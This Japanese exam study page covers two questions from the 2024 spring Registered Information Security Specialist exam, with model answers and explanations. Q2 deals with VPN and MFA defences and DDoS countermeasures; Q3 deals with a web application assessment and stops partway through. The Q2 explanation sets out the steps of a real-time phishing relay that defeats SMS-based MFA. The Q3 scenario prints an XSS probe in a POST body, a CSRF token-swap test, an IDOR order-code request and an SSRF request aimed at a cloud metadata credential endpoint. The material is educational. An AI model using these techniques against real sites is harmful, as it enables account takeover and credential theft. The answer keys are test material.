表1 UTM の機能概要及び設定
機能名,機能概要,設定の3列の表。VPN 通信機能:VPN クライアントソフトウェアを導入した PC との間で VPN 通信を行う。VPN 接続時の認証方式は,VPN クライアントソフトウェア起動時に表示されるダイアログボックス(以下,VPN ダイアログという)に,利用者 ID とパスワードを入力させる方式である。設定 有効。多要素認証機能:利用者 ID とパスワードによる認証方式に次のいずれかの認証方式を組み合わせた多要素認証を行う。(ア)スマートフォンに SMS でセキュリティコードを送り,その入力を確認する方式 1)。(イ)デジタル証明書によってクライアント認証を行う方式。(ウ)スマートフォンに承認要求のプッシュ通知を送り,その通知の承認を確認することで認証を行う方式。設定 無効。注 1) VPN ダイアログに利用者 ID とパスワードを入力し,その認証が完了すると,セキュリティコード入力画面が表示され,SMS でセキュリティコードがスマートフォンに送信される。送信されたセキュリティコードを,セキュリティコード入力画面に入力することで認証される。
表2 VPN-H の機能概要及び設定(抜粋)

最近,同業他社でサイバー攻撃による被害が 2 件立て続けに発生したという報道があった。1 件は,VPN-GW が攻撃を受け,社内ネットワークに侵入されて情報漏えいが発生した事案である。もう 1 件は,DDoS 攻撃による被害が発生した事案である。

H 社でも同様な事案が発生する可能性について,L 部長と T 主任が調査することにした。

〔VPN-GW への攻撃に対する調査〕

T 主任は,VPN-GW への攻撃方法を次のようにまとめた。

T 主任は,方法1については,VPN-H の認証強化を検討することにした。また,方法2については,VPN-H の脆弱性対策と,VPN-H へのポートスキャンに対する応答を返さないようにする方法(以下,ステルス化という)を検討することにした。方法1と方法2について T 主任がまとめた対策案を表3に示す。

攻撃方法,対策,対策名,内容の4列の表。方法1:対策 V-1,対策名 VPN-H の認証強化,内容“インターネットから VPN-H へのアクセス時は,多要素認証を用いる。”。方法2:対策 V-2,対策名 VPN-H の脆弱性対策,内容(省略)。方法2:対策 V-3,対策名 ステルス化,内容“VPN-H のポートを通常は応答を返さないように設定しておく。H 社が許可した PC からのアクセス時だけ,接続を許可する。”。
表3 方法1と方法2について T 主任がまとめた対策案

〔DDoS 攻撃に対する調査〕

次に,T 主任は,DDoS に関連する攻撃について調査し,H 社で未対策のものを表4にまとめた。

項番,攻撃,例の3列の表。項番1:攻撃 UDP Flood 攻撃,例“公開 Web サーバ,DNS サーバを攻撃対象に,偽の送信元 IP アドレスとランダムな宛先ポート番号を設定した UDP データグラムを大量に送り付ける。”。項番2:攻撃 SYN Flood 攻撃,例(省略)。項番3:攻撃 DNS リフレクション攻撃の踏み台にされる,例(省略)。項番4:攻撃 HTTP GET Flood 攻撃,例 [ a ]。
表4 H 社で未対策の DDoS に関連する攻撃

次は,表4についての T 主任と L 部長の会話である。

〔対策 V-1 についての検討〕

次は,対策 V-1 についての L 部長と T 主任の会話である。

攻撃例と概要の2列の表。攻撃例1:表2(ア)と組み合わせた多要素認証を突破するフィッシング攻撃であり,次の手順で行われる。(1) 攻撃者が,フィッシングメールを使って,VPN ダイアログの画面を装った罠の Web サイトに正規利用者を誘導し,正規利用者に利用者 ID とパスワードを入力させる。(2) [ d ] (3) [ e ] (4) 攻撃者が,社内ネットワークに不正に接続する。攻撃例2:表2(ウ)と組み合わせた多要素認証を突破する多要素認証疲労攻撃であり,次の手順で行われる。(省略)
表5 多要素認証を狙った攻撃例

〔対策 V-3 についての検討〕

次は,対策 V-3 についての L 部長と T 主任の会話である。

項番と内容の2列の表。項番1:TCP の SYN パケット又は UDP の最初のパケット(以下,SPA パケットという)には,HMAC ベースのワンタイムパスワードが含まれており,送信元の真正性を送信先が検証できる。検証に成功すれば,以降の通信のパケットは許可される。検証に失敗すれば,以降の通信のパケットは破棄される。項番2:SPA パケットにはランダムデータが含まれており,送信先で検証される。以前受信したものと同じランダムデータをもつ SPA パケットを受信した場合は,破棄される。項番3:SPA パケットの最後尾フィールドには先行フィールドのハッシュ値が格納されている。送信先では,この値を検証し,検証に失敗すれば,そのパケットは破棄される。項番4:送信先では,検証した結果は,送信元に返さない。
表6 SPA の主な仕様

L 部長がベンダーに相談したところ,S 社が提供しているアプライアンス(以下,S-APPL という)の紹介があった。L 部長と T 主任は,S-APPL の導入検討を進めた。

〔S-APPL の導入検討〕

S-APPL は,VPN 通信機能,SPA パケットを検証する機能などをもつ。S-APPL と接続するためには,S-APPL のエージェントソフトウェア(以下,S ソフトという)を接続元の PC に導入し,接続元の PC ごとの ID と秘密情報を,S-APPL と接続元の PC それぞれに設定する必要がある。なお,秘密情報は,SPA パケットの HMAC ベースのワンタイムパスワードの生成などに使われる。S-APPL と S ソフトの主な機能を表7に示す。

項番,機能名,機能概要の3列の表。項番1:SPA 機能,SPA パケットを用いて送信元の真正性を S-APPL が検証する。項番2:VPN 通信機能,S-APPL と S ソフトを導入した PC との間で VPN を確立する。項番3:多要素認証機能,VPN-H の多要素認証機能と同じ機能をもつ。項番4:接続サーバ許可機能,VPN 確立後にアクセス可能なサーバを PC ごとに設定する。
表7 S-APPL と S ソフトの主な機能

T 主任は,対策 V-1〜3 について,次のように考えた。

T 主任は,対策 V-3 のための H 社のネットワーク構成の変更案を作成した。なお,変更する際は,次の対応が必要になる。

T 主任は,S-APPL の導入によって VPN-GW への攻撃の対策が可能であることを L 部長に説明した。L 部長は,効果とリスクを検討した上で,S-APPL を導入することを決めた。

〔DDoS 攻撃に対する具体的対策の検討〕

T 主任は,表4の項番3以外に対する具体的対策の検討に着手した。

まず,通信回線については,DDoS 攻撃で大量のトラフィックが発生すると,使えなくなる。これについては,通信回線の帯域を大きくするという方法のほか,⑤外部のサービスを利用するという方法があることが分かった。

次に,サーバへの影響は,これまでに検討した UTM の IPS 機能と WAF 機能を有効化することで軽減できることが分かっている。加えて,取引先向け Web サーバについては,次の対応によって,⑥更に DDoS 攻撃の影響を軽減できることが分かった。

その後,H 社では,S-APPL の導入,UTM の設定変更,DNS サーバの変更などを行い,新たな運用を開始した。

出題趣旨(IPA)

リモートワークが普及した状況下で,VPNを狙った攻撃が増加している。また,企業を狙ったDDoS攻撃も後を絶たない。本問では,サイバー攻撃への対策を題材として,与えられた環境下で,リモートワークのセキュリティ対策,及びDDoS攻撃に対するセキュリティ対策を設計,構築する能力を問う。

採点講評(問全体・IPA)

問2では,サイバー攻撃への対策を題材に,リモートワーク及びDDoS攻撃に対するセキュリティ対策について出題した。全体として正答率はやや高かった。

設問と解答例

設問1(1) 解答欄1つ

表4中の a に入れる攻撃の例を,H 社での攻撃対象を示して具体的に答えよ。

〔a〕解答例

  • 公開Webサーバ,取引先向けWebサーバを攻撃対象に,HTTP GETリクエストを繰返し送る。
解説

本文の根拠

冒頭

取引先は,H 社に設置された取引先向け Web サーバに HTTPS でアクセスし,利用者 ID とパスワードでログインした後,H 社との取引業務を行っている。また,公開 Web サーバでは,H 社製品の紹介に加え,問合せや要望の受付を行っている。いずれの Web サーバが停止しても,業務に支障が出る。

表4 項番1

公開 Web サーバ,DNS サーバを攻撃対象に,偽の送信元 IP アドレスとランダムな宛先ポート番号を設定した UDP データグラムを大量に送り付ける。

表4 項番4

HTTP GET Flood 攻撃,例 a。

HTTP GET Flood 攻撃は,Web サーバに HTTP の GET リクエストを大量に繰り返し送り,サーバの処理能力を使い果たさせてサービスを止める DDoS 攻撃である。L7(アプリケーション層)の攻撃なので,対象は HTTP(HTTPS)で応答するサーバになる。

H 社で Web サーバとして公開されているのは,公開 Web サーバと取引先向け Web サーバの二つで,冒頭に“いずれの Web サーバが停止しても,業務に支障が出る”とある。表4項番1の例にならい“○○を攻撃対象に,△△を送る”の形で,二つの Web サーバを攻撃対象として HTTP GET リクエストを繰り返し送る,と書く。

間違えやすい点。“H 社での攻撃対象を示して”とあるので,攻撃対象のサーバ名を必ず入れる。DNS サーバやメールサーバは HTTP で応答しないので,この攻撃の対象には当たらない。

設問1(2) 25字以内

本文中の下線①の場合に発生する弊害を,25字以内で答えよ。

解答例

  • 正常な通信を異常として検知してしまう。
解説

本文の根拠

表1 IPS 機能

アノマリ型:あらかじめ登録したしきい値を超えた通信を異常として検知する。

〔DDoS 攻撃に対する調査〕

しきい値が高すぎる場合にも,①しきい値が低すぎる場合にも弊害が発生するので,しきい値の設定には注意するようにします。

アノマリ型 IPS は“しきい値を超えた通信を異常として検知する”。しきい値が低すぎると,攻撃でない普段の通信量でもしきい値を超えてしまい,正常な通信を異常として検知する(誤検知,フォールスポジティブ)。IPS では検知した通信が遮断されるので,正規の利用者の通信まで止まってしまう。

反対にしきい値が高すぎる場合は,攻撃の通信を見逃す(検知漏れ,フォールスネガティブ)弊害になる。下線①は“低すぎる”側なので,誤検知を書く。

字数は25字以内(解答例は19字)。“正常な通信”を“異常として検知”の二つを入れる。講評のとおり,高すぎる場合の“攻撃を検知できない”と取り違えないこと。

採点講評(IPA)

設問1(2)は,正答率が高かった。アノマリ型IPS機能で,しきい値の設定に関する問題であったが,IPS機能の仕様を反対に理解していると思われる解答が散見された。機能は正確に理解してほしい。

設問1(3) 解答欄2つ

本文中の b,c に入れる適切な字句を,“DNS-F”又は“DNS-K”から選び答えよ。

〔b〕解答例

  • DNS-K

〔c〕解答例

  • DNS-F
解説

本文の根拠

図1 注1)

H 社ドメインの権威 DNS サーバと再帰的な名前解決を行うフルサービスリゾルバを兼ねる。

〔DDoS 攻撃に対する調査〕

権威 DNS サーバの機能をもつサーバ(以下,DNS-K という)とフルサービスリゾルバの機能をもつサーバ(以下,DNS-F という)を社内に新設します。インターネットから社内への DNS 通信は b への通信だけを許可し,社内からインターネットへの DNS 通信は c からの通信だけを許可します。

表4 項番3

DNS リフレクション攻撃の踏み台にされる

現在の DNS サーバは権威 DNS サーバとフルサービスリゾルバを兼ねているので,インターネットからの再帰問合せにも答えてしまい(オープンリゾルバ),送信元を偽装した問合せを使う DNS リフレクション攻撃の踏み台にされうる。機能を分け,役割に合った通信だけを許可するのが対策である。

インターネットから問い合わせを受ける必要があるのは,H 社ドメインの情報を外部に答える権威 DNS サーバだけなので,b は DNS-K である。社内の利用者のために外部へ名前解決に出ていくのはフルサービスリゾルバなので,c は DNS-F である。DNS-F はインターネットからの問合せを受け付けないので,踏み台にならない。

間違えやすい点。b と c を逆にすると,外部から DNS-F に再帰問合せが届き,踏み台の問題が残る。権威サーバは“答えるだけ”,リゾルバは“聞きに行くだけ”と役割で考える。

設問2(1) 解答欄2つ

表5中の d,e に入れる,不正な接続までの攻撃手順を,具体的に答えよ。

〔d〕解答例

  • 攻撃者が,正規のVPNダイアログに利用者IDとパスワードを入力すると,正規利用者のスマートフォンにセキュリティコードが送信される。

〔e〕解答例

  • 正規利用者が受信したセキュリティコードを,罠のWebサイトに入力すると,攻撃者がそれを読み取り,正規のセキュリティコード入力画面に入力することで認証される。
解説

本文の根拠

表2 注1)

VPN ダイアログに利用者 ID とパスワードを入力し,その認証が完了すると,セキュリティコード入力画面が表示され,SMS でセキュリティコードがスマートフォンに送信される。送信されたセキュリティコードを,セキュリティコード入力画面に入力することで認証される。

表5 攻撃例1 (1)

攻撃者が,フィッシングメールを使って,VPN ダイアログの画面を装った罠の Web サイトに正規利用者を誘導し,正規利用者に利用者 ID とパスワードを入力させる。

表5 攻撃例1 (4)

攻撃者が,社内ネットワークに不正に接続する。

攻撃例1は,罠の Web サイトを正規利用者と正規の VPN-H の間に置き,入力された認証情報をその場で正規の画面に中継するフィッシング(リアルタイムフィッシング)である。(1)で利用者 ID とパスワードを得た攻撃者は,(2)でそれを正規の VPN ダイアログに入力する。認証が完了すると,表2の注1)のとおり正規利用者のスマートフォンに SMS でセキュリティコードが送られる。これが d である。

正規利用者は罠のサイトの続きとしてセキュリティコードの入力を求められ,受け取ったコードを罠のサイトに入力してしまう。攻撃者はそれを読み取り,正規のセキュリティコード入力画面に入力して認証を通す。これが e で,(4)の不正接続につながる。

書き方の注意。講評のとおり手順の不足が多かった。d は“攻撃者が正規の VPN ダイアログに入力”と“正規利用者にコードが届く”,e は“利用者が罠のサイトにコードを入力”と“攻撃者が正規画面に入力して認証される”まで,誰が何をどこに入力するかを書く。

採点講評(IPA)

設問2(1)は,正答率が平均的であった。多要素認証を突破する攻撃について問うたが,手順が不足している解答や,設問とは異なる攻撃についての解答が散見された。攻撃を正確に理解することによって,対策も立てやすくなるので,正確に理解してほしい。

設問2(2)

本文中の下線②について,注意喚起の内容を,具体的に答えよ。

解答例

  • 認証情報の入力は,受信したメール内のURLリンクをクリックして起動した画面には行わず,VPNダイアログにだけ行う。
解説

本文の根拠

表2 VPN 通信機能

VPN 接続時の認証方式は,VPN クライアントソフトウェア起動時に表示されるダイアログボックス(以下,VPN ダイアログという)に,利用者 ID とパスワードを入力させる方式である。

〔対策 V-1 についての検討〕

②たとえ罠の Web サイトへの URL リンクをクリックしてしまっても,不正なリモート接続をされないように,従業員全員が理解できる内容を,注意喚起する必要があります。

正規の VPN ダイアログは,R-PC で VPN クライアントソフトウェアを起動したときに表示されるもので,メールのリンクから開くものではない。攻撃例1の罠は“VPN ダイアログの画面を装った” Web サイトなので,メールのリンクから開いた画面に認証情報を入力しなければ,リンクをクリックしても認証情報は盗まれない。

そこで,“認証情報(利用者 ID,パスワード,セキュリティコード)は,メール内の URL リンクから開いた画面には入力せず,VPN クライアントソフトウェアの VPN ダイアログにだけ入力する”と注意喚起する。URL の真偽を見分けさせるのではなく,入力する場所を一つに決める形なので,従業員全員が守れる。

書き方の注意。“不審なメールのリンクをクリックしない”は,T 主任が“URL リンクのクリックを禁止することはできません”“見極めさせることは難しい”と退けた内容なので答えにならない。

設問3(1) 30字以内

本文中の下線③について,設定 P を突破する方法を,30字以内で答えよ。

解答例

  • 盗聴したパケットと同じ順番に通信要求を送信する。
解説

本文の根拠

〔対策 V-3 についての検討〕

あらかじめ設定されている順番にポートに通信要求した場合だけ所定のポートへの接続を許可するという設定(以下,設定 P という)があります。

〔対策 V-3 についての検討〕

設定されている順番を攻撃者が知らなくても,③攻撃者が何らかの方法でパケットを盗聴できた場合,設定 P を突破されてしまいます。

設定 P は,決められた順番でポートに通信要求をした者だけに接続を許す仕組み(一般にポートノッキングと呼ばれる)である。合言葉に当たるのは“ポートの順番”だけで,毎回同じである。

そのため,正規の利用者が接続するときのパケットを盗聴すれば,どのポートにどの順で通信要求したかが分かる。攻撃者は盗聴したパケットと同じ順番で通信要求を送るだけで,順番を事前に知らなくても設定 P を突破できる(リプレイ)。

字数は30字以内(解答例は24字)。“盗聴したパケット”“同じ順番”“通信要求を送信”を入れる。

設問3(2) 40字以内

本文中の下線④について,突破されないのはなぜか。40字以内で答えよ。

解答例

  • SPAパケットはユニークであり,同じパケットを再利用すると破棄されるから
解説

本文の根拠

表6 項番2

SPA パケットにはランダムデータが含まれており,送信先で検証される。以前受信したものと同じランダムデータをもつ SPA パケットを受信した場合は,破棄される。

表6 項番1

TCP の SYN パケット又は UDP の最初のパケット(以下,SPA パケットという)には,HMAC ベースのワンタイムパスワードが含まれており,送信元の真正性を送信先が検証できる。

表6 項番3

SPA パケットの最後尾フィールドには先行フィールドのハッシュ値が格納されている。

設定 P が破られるのは,盗聴したものと同じ通信を再現できるからだった。SPA パケットは,ワンタイムパスワードとランダムデータを含むので毎回異なる(ユニークである)。送信先は以前受け取ったものと同じランダムデータをもつパケットを破棄する(項番2)ので,盗聴したパケットをそのまま送り直しても受け付けられない。

さらに,ワンタイムパスワードは HMAC ベースで秘密情報が無ければ作れず(項番1),中身を書き換えるとハッシュ値の検証に失敗する(項番3)。盗聴しても,再利用も改変もできないので突破されない。

字数は40字以内(解答例は36字)。“SPA パケットはユニーク”“同じパケットの再利用は破棄される”の二点で,設問3(1)のリプレイが効かないことを示す。

採点講評(IPA)

設問3(2)は,正答率が平均的であった。SPAというプロトコルに関して本文中に示して効果を問うた。内容を理解して解答してほしい。

設問4(1) 20字以内

本文中の下線⑤について,利用する外部のサービスを,20字以内で具体的に答えよ。

解答例(3通り)

  • DDoS対策機能を有するCDNサービス
  • クラウド型ファイアウォールサービス
  • ISPが提供するDDoS防御サービス
解説

本文の根拠

〔DDoS 攻撃に対する具体的対策の検討〕

まず,通信回線については,DDoS 攻撃で大量のトラフィックが発生すると,使えなくなる。これについては,通信回線の帯域を大きくするという方法のほか,⑤外部のサービスを利用するという方法があることが分かった。

下線⑤は,H 社の通信回線が DDoS 攻撃の大量のトラフィックであふれることへの対策である。回線を太くする以外の方法としては,攻撃のトラフィックが H 社の回線に届く前に,外部で吸収・遮断するサービスを使えばよい。

具体的には,DDoS 対策機能をもつ CDN サービス(多数の拠点で負荷を分散して吸収する),クラウド型のファイアウォールサービス,ISP が提供する DDoS 防御サービス(ISP の網内で攻撃トラフィックを落とす)などがある。解答例はこの三つを別解として挙げており,どれか一つを書けばよい。

字数は20字以内(解答例は17〜19字)。“DDoS 対策の”と目的が分かる形で,サービスの種類を具体的に書く。H 社内の UTM の設定は外部のサービスではないので当たらない。

設問4(2) 40字以内

本文中の下線⑥について,軽減できる理由を,40字以内で答えよ。

解答例(3通り)

  • 取引専用PC以外からの通信は取引先向けWebサーバに到達しないから
  • UTMの設定変更によって,ボットネットからの通信が遮断されるから
  • UTMの設定変更に伴って,外部からの接続対象サーバではなくなったから
解説

本文の根拠

〔DDoS 攻撃に対する具体的対策の検討〕

S-APPL に,取引専用 PC が VPN 確立後にアクセス可能なサーバとして,取引先向け Web サーバだけを設定する。

〔DDoS 攻撃に対する具体的対策の検討〕

UTM のファイアウォール機能で,インターネットから取引先向け Web サーバへの通信を拒否するように設定する。

表6 項番1

検証に成功すれば,以降の通信のパケットは許可される。検証に失敗すれば,以降の通信のパケットは破棄される。

対応後,取引先は貸与された取引専用 PC から S-APPL の VPN を経由して取引先向け Web サーバにアクセスする。UTM ではインターネットから取引先向け Web サーバへの直接の通信を拒否するので,サーバはインターネットから直接接続される対象ではなくなる。

S-APPL では SPA で送信元の真正性を検証し,秘密情報をもつ取引専用 PC 以外の通信は破棄する。したがってボットネットなどからの攻撃の通信は取引先向け Web サーバに届かず,DDoS 攻撃の影響を更に軽減できる。解答例は“取引専用 PC 以外からの通信は到達しない”“ボットネットからの通信が遮断される”“外部からの接続対象サーバではなくなった”の三つを別解としている。

字数は40字以内(解答例は32〜34字)。どの別解でも,“取引先向け Web サーバに攻撃の通信が届かなくなる”ことを,その理由(取引専用 PC だけ・UTM で拒否)と一緒に書く。

出典:令和6年度 春期 情報処理安全確保支援士試験 午後 問2(表記を一部改変)

問3 Web セキュリティ

Web セキュリティに関する次の記述を読んで,設問に答えよ。

D 社は,従業員 1,000 名の小売業である。自社のホームページや EC サイトなどの Web サイトについては,Web アプリケーションプログラム(以下,Web アプリという)に対する診断(以下,Web アプリ診断という)を専門会社の Z 社に委託して実施している。Web アプリ診断は,Web サイトのリリース前だけではなく,リリース後も定期的に実施している。Z 社の Web アプリ診断は,脆弱性診断ツールによるスキャンだけではなく,手動による高度な分析も行う。

〔新たな Web サイトの構築〕

D 社では,新たに EC サイト X(以下,サイト X という)と商品企画サイト Y(以下,サイト Y という)を W 社が提供するクラウドサービス(以下,クラウド W という)上に構築することになった。

サイト X では,D 社が取り扱う商品をインターネットを介して会員に販売する予定である。取引は毎月 10,000 件ほどを見込んでいる。サイト Y では,サイト X で販売する新商品の企画・開発を顧客参加型で行う。サイト X とサイト Y は,いずれも Web サーバとデータベースサーバ(以下,DB サーバという)で構成する。Web サーバについてはクラウド W の仮想 Web サーバサービスを利用し,DB サーバについてはクラウド W のリレーショナルデータベースサービスを利用する。サイト X とサイト Y はいずれも,コンテンツマネジメントシステム(以下,CMS という)を使って構築される。サイト X とサイト Y にはいずれも,Web アプリ,HTML による静的コンテンツ,DB サーバに格納したデータを使った動的コンテンツなどを用意する。

D 社は,V 大学と新商品開発の共同研究を行っている。新商品開発の共同研究では,V 大学が運用する情報交換サイト(以下,サイト P という)を利用している。サイト Y は,サイト P で取り扱っている情報などを表示する。

D 社は,Web サイト構築に関連するデータやドキュメントの保存場所として,クラウド W のストレージサービス(以下,ストレージ W という)を利用する。

D 社は,サイト X 及びサイト Y の設計書を作成した。設計書のうち,サイト X,サイト Y 及びサイト P のネットワーク構成を図1に,サーバやサービスの説明を図2に示す。

ネットワーク構成図。クラウド W の枠の中に,ストレージ W,IMDS,VPC(破線の枠)がある。VPC の中にサイト X(Web サーバ X と DB サーバ X),サイト Y(Web サーバ Y と DB サーバ Y),IG 1),VG 2) がある。IMDS は Web サーバ X,DB サーバ X,Web サーバ Y,DB サーバ Y のそれぞれと接続している。Web サーバ X と Web サーバ Y は IG に接続し,IG と VG はインターネットに接続している。ストレージ W もインターネットに接続している。インターネットには,D 社(内部ネットワーク(破線の枠)の中の D 社管理者 PC)と,V 大学(FW の先にサイト P(Web サーバ P と DB サーバ P)と学内ネットワーク(破線の枠))が接続している。凡例:FW:ファイアウォール,IG:インターネットゲートウェイ,IMDS:インスタンスメタデータサービス,VG:VPN ゲートウェイ,VPC:仮想プライベートクラウド。注 1) VPC とインターネットとの間の通信を可能にする。注 2) VPC と D 社の内部ネットワークとの間の VPN 通信を可能にする。
図1 サイト X,サイト Y 及びサイト P のネットワーク構成
枠で囲んだ説明。[クラウド W にあるサーバ及びストレージ W について] クラウド W 上のサービスの管理のためのアクセスの際は,クラウド W 用の利用者 ID,アクセスキーなどのクレデンシャル情報をリクエストに含める必要がある。D 社が利用するクラウド W 上のサービスには,D 社用に発行されたクレデンシャル情報でアクセスでき,全ての操作ができる。[IMDS について] IMDS は,VPC の各サーバから特定の URL にアクセスされると特定の情報を返す。例えば,https://○○○.○○○.○○○.○○○/meta-data/credential に GET メソッドでアクセスされると,クラウド W 上のサービスのクレデンシャル情報を返す。IMDS には,インターネットから直接アクセスできないプライベート IP アドレス(○○○.○○○.○○○.○○○)が設定されている。IMDS にアクセスする方式は,次のいずれかを採用する必要がある。D 社では,方式1を採用する。方式1:特定の URL にアクセスするだけで情報を取得できる。方式2:トークンを発行する URL に PUT メソッドでアクセスし,レスポンスボディに含まれるトークンを入手してから,そのトークンをリクエストヘッダに含めて特定の URL にアクセスすると情報を取得できる。[CMS について] Web サーバ X の https://□□□.jp/admin 又は Web サーバ Y の https://■■■.jp/admin にアクセスすると,それぞれのサーバの CMS の管理ログイン画面にアクセスできる。ログインは,POST メソッドでは許可されるが,GET メソッドでは許可されない。各 CMS の管理ログイン画面へのアクセスは,VPN 接続された D 社管理者 PC,又は VPC 内からのアクセスだけに制限される。D 社では,各 CMS の管理者アカウントは初期パスワードのまま運用する。
図2 サーバやサービスの説明

〔サイト X〕

サイト X には,会員用の利用者アカウントと D 社管理者用の利用者アカウントがある。サイト X のログインセッション管理は,cookie パラメータの SESSIONID で行う。SESSIONID には,値と Secure 属性だけがセットされる。なお,サーバ側のセッションの有効期間は 24 時間である。設計書のうち,サイト X の機能一覧を表1に示す。

項番,機能,詳細機能,機能概要の4列の表。項番1:機能 ログイン機能,詳細機能 ログイン機能,機能概要“利用者 ID とパスワードを入力し,ログインに成功すると利用できる機能が表示されるページに遷移する。”。項番2:機能 利用者機能(ログイン前),詳細機能 会員機能(登録),機能概要“登録画面では最初にメールアドレスを入力する。そのメールアドレス宛てに送られた電子メールに記載された URL にアクセスして利用者情報を入力し,登録する。”。項番3〜5の機能は 利用者機能(ログイン後)。項番3:詳細機能 注文機能(商品検索,注文,注文履歴閲覧),機能概要“商品には商品コードが付与されており,商品検索画面で検索できる。注文履歴は,注文年月である数字6桁とランダムな英大文字6桁の値をハイフンでつないだ注文管理番号で管理される。注文履歴を閲覧する際は,注文管理番号を基に検索する。”。項番4:詳細機能 会員機能(編集),機能概要“登録した利用者情報を編集できる。”。項番5:詳細機能 問合せ機能,機能概要“問合せ情報を入力できる。入力した問合せ情報は,数字10桁の管理番号が発番され,管理される。”。項番6〜9の機能は サイト管理機能(ログイン後)。項番6:詳細機能 商品管理機能(登録,編集,削除),機能概要“商品情報を登録,編集,削除できる。商品情報が登録されると,数字10桁の商品コードが割り当てられ,その商品を会員が注文できるようになる。”。項番7:詳細機能 売上管理機能(売上情報閲覧,検索),機能概要“商品の売上情報を閲覧できる。また,条件を指定して検索することができる。”。項番8:詳細機能 会員管理機能(閲覧,変更,削除),機能概要“登録された会員の利用者情報を閲覧,変更,削除できる。”。項番9:詳細機能 問合せ管理機能,機能概要“問合せ機能で入力された問合せ情報が閲覧できる。”。
表1 サイト X の機能一覧(抜粋)

サイト管理機能は,D 社の内部ネットワーク以外からも利用する可能性があり,サイト X では,接続元の制限は行わない。

サイト X とサイト Y の構築は順調に進み,D 社はリリース前の Web アプリ診断を Z 社に委託した。Z 社は,サイト X とサイト Y それぞれに対して Web アプリ診断を実施した。

〔サイト X に対する Web アプリ診断〕

サイト X に対する Web アプリ診断では,次の三つの脆弱性が検出された。

〔XSS について〕

Z 社が XSS を検出した経緯は,次のとおりであった。

枠で囲んだリクエストとレスポンス。
[リクエスト]
POST /shop/contact HTTP/1.1
Host: (省略)
(省略)
Content-Type: application/x-www-form-urlencoded
Content-Length: (省略)
Cookie: SESSIONID=nt1t3dmxmlmwuicyiz3h4nq1
(空行)
subject_id=004&name=%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e%3c%22&tel=(省略)&mail=(省略)&mail2=(省略)&comment=(省略)
(空行)
[レスポンス]
(省略)
(空行)
<h1>問合せを受け付けました。</h1>
(省略)
注記 パラメータ name の値は "><script>alert(1)</script><" を URL エンコードした値である。
図3 問合せ機能のリクエストとレスポンス

Z 社は,②攻撃者がこの XSS を悪用してサイト X 内の全会員の利用者情報を取得する可能性があると説明した。

〔CSRF について〕

Z 社が CSRF を検出した経緯は,次のとおりであった。

枠で囲んだリクエスト。
POST /shop/editmember HTTP/1.1
Host: (省略)
(省略)
Content-Type: application/x-www-form-urlencoded
Content-Length: (省略)
Cookie: SESSIONID=b9y33f89umt6uua1pe4j4jn7
(空行)
sei=sato&mei=taro&mail=aaa%40example.jp&csrf_token=KCRQ88ERH2G8MGT319E50SMOAJFDIVEM
図4 会員機能(編集)のリクエスト
手順,リクエスト内のメッセージボディ,応答の3列の表。手順1:sei=sato&mei=taro&mail=aaa%40example.jp&csrf_token=,応答 エラー。手順2:sei=sato&mei=taro&mail=aaa%40example.jp,応答 エラー。手順3:sei=sato&mei=taro&mail=aaa%40example.jp&csrf_token=(異なる利用者アカウントで取得した csrf_token の値),応答 正常に処理。
表2 リクエスト内のメッセージボディと応答

Z 社は,対策には二つの方法があることを説明した。

サイト X の構成次第では,SameSite 属性を cookie に付与することも有効な対策となり得る。SameSite 属性は,Strict,Lax,None の三つの値のうちのいずれかを取る。サイト X にログインした利用者の Web ブラウザにおいて,サイト X 内で遷移する場合と外部 Web サイトからサイト X に遷移する場合では,SameSite 属性の値によってサイト X の cookie 送信の有無が表3のように異なる。

SameSite 属性の値ごとに,サイト X 内で遷移(GET,POST)と外部 Web サイトからサイト X に遷移(GET,POST)の cookie 送信の有無を示した表。Strict:サイト X 内で遷移 GET ○,POST ○,外部 Web サイトからサイト X に遷移 GET [ a ],POST [ b ]。Lax:サイト X 内で遷移 GET ○,POST ○,外部 Web サイトからサイト X に遷移 GET [ c ],POST [ d ]。None:サイト X 内で遷移 GET ○,POST ○,外部 Web サイトからサイト X に遷移 GET(省略),POST(省略)。注記 “○”は cookie が送られることを示す。“×”は cookie が送られないことを示す。
表3 SameSite 属性の値の違いによる cookie 送信の有無

〔認可制御の不備について〕

Z 社が認可制御の不備を検出した経緯は,次のとおりであった。

枠で囲んだリクエスト。
POST /shop/order-history HTTP/1.1
Host: (省略)
(省略)
Content-Type: application/x-www-form-urlencoded
Content-Length: (省略)
Cookie: SESSIONID=ac9t66bxlxmwuiiki53h4nq3
(空行)
order-code=202404-AHUJKI 1)
注 1) 表1の注文管理番号のことである。値から利用者を特定することができる。
図5 利用者 α で注文履歴を閲覧した際のリクエスト
枠で囲んだリクエスト。
POST /shop/order-history HTTP/1.1
Host: (省略)
(省略)
Content-Type: application/x-www-form-urlencoded
Content-Length: (省略)
Cookie: SESSIONID=k1ctghbxbx5wuj3ki33hlnq5
(空行)
order-code=202404-BAKCXW
図6 利用者 β で注文履歴を閲覧した際のリクエスト

Z 社は,⑤サイト X の Web アプリに追加すべき処理を説明した。

〔サイト Y に対する Web アプリ診断〕

サイト Y に対する Web アプリ診断では,次の脆弱性が検出された。

〔SSRF について〕

Z 社が SSRF を検出した経緯は,次のとおりであった。

枠で囲んだリクエスト。
GET /top?page=https://△△△.jp/topic/202404.html HTTP/1.1
Host: (省略)
(省略)
Cookie: SESSIONID=pq4ikd31op215jebter41sae
注記 △△△.jp はサイト P の FQDN である。
図7 利用者の Web ブラウザが Web サーバ Y に送るリクエスト

Z 社は,クラウド W 上のネットワークでのアクセス制御の設定,及び⑨サイト Y の Web アプリに追加すべき処理を提案した。

リリース前の脆弱性診断で検出された脆弱性の対策が全て完了し,サイト X とサイト Y は稼働を開始した。

出題趣旨(IPA)

Webサイトの脆弱性については,多くのWebサイトで対策が進んできたものの,一部のWebサイトは開発者の理解が不十分で,IPA“安全なウェブサイトの作り方”で取り上げられている脆弱性においても対策に不備が生じている場合がある。本問では,Webサイトの脆弱性を題材として,脆弱性診断及び対策の知識と,その脆弱性に起因してどのような攻撃が行われるかを分析する能力を問う。

採点講評(問全体・IPA)

問3では,クラウド環境で構築されたWebサイトを題材に,脆弱性を悪用した攻撃手法とその対策について出題した。全体として正答率はやや低かった。

設問と解答例

設問1(1)

本文中の下線①について,図3中のリクエスト内のスクリプトが出力されるのはどの機能か。表1の詳細機能に対する項番を選び答えよ。

解答例

  • 9
解説

本文の根拠

表1 項番5

問合せ情報を入力できる。入力した問合せ情報は,数字10桁の管理番号が発番され,管理される。

表1 項番9

問合せ機能で入力された問合せ情報が閲覧できる。

〔XSS について〕

図3中のレスポンスボディには,問合せ機能で入力した値は出力されていない。

